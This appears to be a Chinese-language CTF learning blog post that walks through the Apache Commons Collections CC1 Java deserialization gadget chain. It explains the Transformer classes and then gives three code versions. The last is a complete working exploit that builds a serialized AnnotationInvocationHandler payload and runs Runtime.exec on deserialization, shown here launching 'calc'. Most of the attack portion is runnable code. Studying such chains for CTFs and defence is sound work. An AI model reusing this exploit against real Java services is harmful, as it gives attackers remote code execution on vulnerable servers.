来劲了,感觉离真正的CTF又近了一步。
本文仅从一个萌新的角度去谈,如有纰漏,纯属蒟蒻。
目录
CC链概念
CC链学习前置知识
CC1链
Version1
Version2
Version3
CC链概念
CC链 Commons Collections apache组织发布的开源库
里面主要对集合的增强以及扩展类 被广泛使用 如HashMap HashTable ArrayList
总结一下CC链:就是有反序列化入口,同时有cc库的情况下,如何进行rce或者文件读取
CC链学习前置知识
Transformer
特征
1 是一个接口
2 有一个transformer方法,传入一个参数object,穿出一个参数object
3 有点像 转接头 扩展坞
实现类
ConstantTransformer 常量转换器 传入任何值 传出的,都是固定值
InvokerTransformer 反射调用转换器 传入方法名,方法参数类型 方法参数 进行反射调用
ChainedTransformer 链式转换器 分别调用传入的transformer类数组的transformer方法
新的数据结构
TransformerMap 分别可以对 key 和value 执行构造参数里面的transformer转换
CC1链
网上资源有很多,就不班门弄斧了,更多去谈自己做的过程的想法。
贴出一篇:CC1链详解
总结一下就是下面这些步骤
1 ChainedTransformer 配合ConstantTransformer和InvokerTransformer可以执行任意类的任意方法
2 将ChainedTransformer放入TransformerMap后,只要调用TransformerMap的checkSetValue方法,就能够调用value对象的transform方法从而RCE
3 我们要找到一个类,它的属性可以设置为 TransformerMap ,然后它调用了这个属性的checkSetValue方法
4 找到了AnnotationInvocationHandler类,里面的readObject方法 调用了setValue方法
5 setValue方法调用了 TransformerMap 的checkValue方法
6 checkValue方法调用了 Transformer.transform 方法
最终完成了攻击链条
我做了三个版本迭代,前两个版本不涉及反序列化,就是自己测一测,其中第二个版本后作死尝试尝试去走put触发transform方法,最终失败,于是老老实实走了前人的大路。
Version1
package main;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Test1 {
public static void main(String[] args) {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});
chainedTransformer.transform("Z3r4y");
}
}
这里其实就是利用ChainedTransformer的特性,把上一个transformer调用transform方法的返回值(得益于“扩展坞”的特性,Object进,Object出)传递给下一个transformer对象,作为其transform方法调用的参数,以此类推。
再加上ConstantTransformer无论输入什么值,输出的值都是可控的定值的特性,即可以传递给下一个transformer类一个可控的对象
配合InvokerTransformer(调用方法,参数类型,参数均可控),便可以执行任意类的任意方法
这个版本告诉我们只要可以触发ChainedTransformer的transform方法,就可以触发一条链的transform方法,最终实现RCE
Version2
package main;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
public class Test2 {
public static void main(String[] args) {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});
HashMap hashMap = new HashMap();
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, chainedTransformer, null);
transformedMap.put("Z3r4y","aaa");
}
}
这里就是尝试找办法触发ChainedTransformer的transform方法,借鉴前人我们用了HashMap和transformedMap这两个数据结构,然后神奇的发现,transformedMap在修饰HashMap的kv对时,会分别调用传入Transformer对象的transform方法。
我们已经找到可以触发Version1的方法,但这还是不能达到可配合反序列化的目的,按思路走,我们下一步应该找一个类的readObject方法,其中调用同名的put方法。
Version3
绷不住了,就这卡的时间最长,确实没找到调用put的readObject方法,选择放弃未必不是明智之举。
下面都是说烂的东西
AnnotationInvocationHandler类,里面的readObject方法 调用了setValue方法
setValue方法调用了 TransformerMap 的checkValue方法
checkValue方法调用了 Transformer.transform 方法
最终完成了攻击链条
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import util.SerializeUtil;
import java.io.IOException;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class exp {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, InstantiationException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
hashMap.put("value", "xxx");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
byte[] data = SerializeUtil.serialize(instance);
SerializeUtil.unSerialize(data);
}
}
序列化反序列化的工具类:
package util;
import java.io.*;
public class SerializeUtil {
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
public static Object unSerialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
return o;
}
}